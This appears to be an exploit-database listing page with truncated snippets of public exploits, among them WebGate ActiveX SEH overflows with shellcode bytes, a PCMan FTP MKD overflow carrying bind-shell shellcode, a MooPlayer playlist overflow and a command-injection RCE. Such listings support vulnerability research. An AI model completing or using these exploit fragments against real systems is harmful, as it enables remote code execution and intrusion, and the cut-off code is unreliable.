WebGate Control Center 4.8.7 - GetThumbnail Stack Overflow

var buff1 = ""; var arg2=1; var arg3=1; var arg4=1; var nops = ""; var buff2 = ""; for i=0;i24; i++ buff1 += "B"; // jump over seh to shellcode nseh = "\xeb\x08PD"; // pop pop ret var seh = "\xa0\xf2\x07\x10"; for i=0;i80; i++ nops += "\x90"; //calc.exe payload sc =...

WebGate eDVR Manager 2.6.4 - SiteName Stack Overflow

var buff1= ""; var buff2= "PraveenD"; var nops = ""; for i=0; i128; i++ buff1 += "B"; var nseh = "\xeb\x08PD"; var seh = "\xa0\xf2\x07\x10"; for i=0;i80; i++ nops += "\x90"; //calc.exe payload sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +...

WebGate Control Center 4.8.7 GetThumbnail Stack Overflow Exploit

WebGate Control Center version 4.8.7 suffers from a GetThumbnail stack overflow vulnerability. var buff1 = ""; var arg2=1; var arg3=1; var arg4=1; var nops = ""; var buff2 = ""; for i=0;i24; i++ buff1 += "B"; // jump over seh to shellcode nseh = "\xeb\x08PD"; // pop pop ret var seh =...

Microsoft DirectShow MPEG 3 Channel Mode Memory Corruption - Ver2 (CVE-2010-1882)

A memory corruption vulnerability has been reported in Microsoft Windows XP, Microsoft Windows Server 2003 x64 64-bit and Microsoft Windows Server 2003. An attacker could exploit this vulnerability via an MPEG Layer-3 audio stream in a crafted media file or crafted streaming content. Successful...

WebGate eDVR Manager - Remote Stack Buffer Overflow

WebGate eDVR Manager - Remote Stack Buffer Overflow var arg1 = ""; nops = ""; var buff = ""; fori=0;i"+"Lengths: arg1="+arg1.length+" seh="+seh.length+""; fori=0;i200;i++ nops += "\x90"; sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +...

Microsoft Winhlp32 Compressed Phrase Buffer Overflow attack - Ver2 (CVE-2004-1306)

A buffer overflow vulnerability has been reported in Microsoft Windows XP, Microsoft Windows 2000, Microsoft Windows NT and Microsoft Windows Server 2003. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system or cause...

WebGate eDVR Manager - Remote Stack Buffer Overflow

var arg1 = ""; nops = ""; var buff = ""; fori=0;i"+"Lengths: arg1="+arg1.length+" seh="+seh.length+""; fori=0;i200;i++ nops += "\x90"; sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +...

Intel Network Adapter Diagnostic Driver - IOCTL Handling

Intel Network Adapter Diagnostic Driver - IOCTL Handling / Intel Network Adapter Diagnostic Driver IOCTL Handling Vulnerability Vendor: Intel Product webpage: http://www.intel.com Affected products: Network Adapter Driver for Windows XP Network Adapter Driver for Windows 7 Network Adapter Driver...

PCMan FTP Server MKD buffer overflow

Added: 03/11/2015 CVE: CVE-2013-4730 BID: 60837 OSVDB: 94624 Background PCMan's FTP Server is a free FTP server for Windows. Problem A buffer overflow vulnerability in PCMan's FTP Server allows remote attackers to execute arbitrary commands. Resolution There is no known fix for this vulnerability...

Persistent Systems Client Automation Command Injection RCE Exploit

Exploit for windows platform in category remote exploits Exploit Title: Persistent Systems Client Automation PSCA, formerly HPCA or Radia Command Injection Remote Code Execution Vulnerability Date: 2014-10-01 Exploit Author: Ben Turner Vendor Homepage: Previosuly HP, now...

Persistent Systems Client Automation - Command Injection Remote Code Execution (Metasploit)

Persistent Systems Client Automation - Command Injection Remote Code Execution Metasploit Exploit Title: Persistent Systems Client Automation PSCA, formerly HPCA or Radia Command Injection Remote Code Execution Vulnerability Date: 2014-10-01 Exploit Author: Ben Turner Vendor Homepage: Previosuly...

Persistent Systems Client Automation - Command Injection Remote Code Execution (Metasploit)

Exploit Title: Persistent Systems Client Automation PSCA, formerly HPCA or Radia Command Injection Remote Code Execution Vulnerability Date: 2014-10-01 Exploit Author: Ben Turner Vendor Homepage: Previosuly HP, now http://www.persistentsys.com/ Version: 7.9, 8.1, 9.0, 9.1 Tested on: Windows XP,...

PCMan FTP Server 2.0.7 - Buffer Overflow - MKD Command Exploit

Exploit for windows platform in category remote exploits Title: PCMan FTP Server v2.0.7 Buffer Overflow - MKD Command Date : 12/02/2015 Author: R-73eN Software: PCMan FTP Server v2.0.7 Tested On Windows Xp SP3 import socket 348 Bytes Bind Shell Port TCP/4444 shellcode =...

PC-Man-FTP-Server

Title: PCMan FTP Server v2.0.7 Buffer Overflow - MKD Command Date : 12/02/2015 Author: R-73eN Software: PCMan FTP Server v2.0.7 Tested On Windows Xp SP3...

Mooplayer 1.3.0 'm3u' SEH Buffer Overflow POC

!/usr/bin/env python Exploit Title: MooPlayer 1.3.0 'm3u' SEH Buffer Overflow POC Date Discovered: 09-02-2015 Exploit Author: Samandeep Singh @samanL33T Vulnerable Software: Moo player 1.3.0 Software Link: https://mooplayer.jaleco.com/ Vendor site: https://mooplayer.jaleco.com/ Version: 1.3.0...

PCMan FTP Server 2.0.7 - 'MKD' Remote Buffer Overflow

Title: PCMan FTP Server v2.0.7 Buffer Overflow - MKD Command Date : 12/02/2015 Author: R-73eN Software: PCMan FTP Server v2.0.7 Tested On Windows Xp SP3 import socket 348 Bytes Bind Shell Port TCP/4444 shellcode = "\xdb\xcc\xba\x40\xb6\x7d\xba\xd9\x74\x24\xf4\x58\x29\xc9" shellcode +=...

SoftSphere DefenseWall FW/IPS 3.24 - Privilege Escalation Exploit

Exploit for windows platform in category local exploits / Exploit Title - SoftSphere DefenseWall FW/IPS Arbitrary Write Privilege Escalation Date - 10th February 2015 Discovered by - Parvez Anwar @parvezghh Vendor Homepage - http://www.softsphere.com Tested Version - 3.24 Driver Version - 3.2.3.0...

MooPlayer 1.3.0 - m3u Local Buffer Overflow (SEH) (1)

MooPlayer 1.3.0 - m3u Local Buffer Overflow SEH 1 !/usr/bin/env python Exploit Title: MooPlayer 1.3.0 'm3u' SEH Buffer Overflow Date Discovered: 10-02-2015 Author: dogo h@ck Vulnerable Software: Moo player 1.3.0 Software Link: https://mooplayer.jaleco.com/ Version: 1.3.0 Tested On: Windows XP SP3...

SoftSphere DefenseWall FWIPS 3.24 - Local Privilege Escalation

SoftSphere DefenseWall FWIPS 3.24 - Local Privilege Escalation / Exploit Title - SoftSphere DefenseWall FW/IPS Arbitrary Write Privilege Escalation Date - 10th February 2015 Discovered by - Parvez Anwar @parvezghh Vendor Homepage - http://www.softsphere.com Tested Version - 3.24 Driver Version -...

MooPlayer 1.3.0 - 'm3u' Local Buffer Overflow (SEH) (1)

!/usr/bin/env python Exploit Title: MooPlayer 1.3.0 'm3u' SEH Buffer Overflow Date Discovered: 10-02-2015 Author: dogo h@ck Vulnerable Software: Moo player 1.3.0 Software Link: https://mooplayer.jaleco.com/ Version: 1.3.0 Tested On: Windows XP SP3 BadCharacters = "\x00\x0a\x0d" head="http://"...